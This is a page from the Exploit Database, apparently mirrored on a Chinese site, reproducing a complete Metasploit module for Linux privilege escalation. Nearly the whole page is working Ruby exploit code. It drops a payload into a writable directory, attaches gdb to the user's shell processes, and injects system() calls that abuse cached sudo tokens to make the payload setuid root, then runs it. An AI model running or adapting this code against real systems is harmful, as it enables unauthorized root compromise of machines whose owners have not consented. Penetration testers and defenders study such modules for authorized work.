ptrace – Sudo Token Privilege Escalation (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2019-09-03
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47345/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'ptrace Sudo Token Privilege Escalation',
  'Description'=> %q{
  This module attempts to gain root privileges by blindly injecting into
  the session user's running shell processes and executing commands by
  calling `system()`, in the hope that the process has valid cached sudo
  tokens with root privileges.
  
  The system must have gdb installed and permit ptrace.
  
  This module has been tested successfully on:
  
  Debian 9.8 (x64); and
  CentOS 7.4.1708 (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'chaignc', # sudo_inject
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2019-03-24',
  'References' =>
  [
  ['EDB', '46989'],
  ['URL', 'https://github.com/nongiach/sudo_inject'],
  ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
  ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
  ['URL', 'https://lwn.net/Articles/393012/'],
  ['URL', 'https://lwn.net/Articles/492667/'],
  ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
  ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
  ],
  'Platform' => ['linux'],
  'Arch' =>
  [
  ARCH_X86,
  ARCH_X64,
  ARCH_ARMLE,
  ARCH_AARCH64,
  ARCH_PPC,
  ARCH_MIPSLE,
  ARCH_MIPSBE
  ],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'DefaultOptions' =>
  {
  'PrependSetresuid' => true,
  'PrependSetresgid' => true,
  'PrependFork'=> true,
  'WfsDelay' => 30
  },
  'DefaultTarget'=> 0))
  register_options [
  OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
  ]
  register_advanced_options [
  OptBool.new('ForceExploit', [false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def timeout
  datastore['TIMEOUT']
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def check
  if yama_enabled?
  vprint_error 'YAMA ptrace scope is restrictive'
  return CheckCode::Safe
  end
  vprint_good 'YAMA ptrace scope is not restrictive'
  
  if command_exists? '/usr/sbin/getsebool'
  if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
  vprint_error 'SELinux deny_ptrace is enabled'
  return CheckCode::Safe
  end
  vprint_good 'SELinux deny_ptrace is disabled'
  end
  
  unless command_exists? 'sudo'
  vprint_error 'sudo is not installed'
  return CheckCode::Safe
  end
  vprint_good 'sudo is installed'
  
  unless command_exists? 'gdb'
  vprint_error 'gdb is not installed'
  return CheckCode::Safe
  end
  vprint_good 'gdb is installed'
  
  CheckCode::Detected
  end
  
  def exploit
  unless check == CheckCode::Detected
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  if nosuid? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
  end
  
  # Find running shell processes
  shells = %w[ash ksh csh dash bash zsh tcsh fish sh]
  
  system_shells = read_file('/etc/shells').to_s.each_line.map {|line|
  line.strip
  }.reject {|line|
  line.starts_with?('#')
  }.each {|line|
  shells << line.split('/').last
  }
  shells = shells.uniq.reject {|shell| shell.blank?}
  
  print_status 'Searching for shell processes ...'
  pids = []
  if command_exists? 'pgrep'
  cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
  pids << pid.strip
  end
  else
  shells.each do |s|
  pidof(s).each {|p| pids << p.strip}
  end
  end
  
  if pids.empty?
  fail_with Failure::Unknown, 'Found no running shell processes'
  end
  
  print_status "Found #{pids.uniq.length} running shell processes"
  vprint_status pids.join(', ')
  
  # Upload payload
  @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
  upload @payload_path, generate_payload_exe
  
  # Blindly call system() in each shell process
  pids.each do |pid|
  print_status "Injecting into process #{pid} ..."
  
  cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
  sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
  res = cmd_exec sudo_inject, nil, timeout
  vprint_line res unless res.blank?
  
  next unless setuid? @payload_path
  
  print_good "#{@payload_path} setuid root successfully"
  print_status 'Executing payload...'
  res = cmd_exec "#{@payload_path} & echo "
  vprint_line res
  return
  end
  
  fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
  end
  
  def on_new_session(session)
  if session.type.eql? 'meterpreter'
  session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
  session.fs.file.rm @payload_path
  else
  session.shell_command_token "rm -f '#{@payload_path}'"
  end
  ensure
  super
  end
  end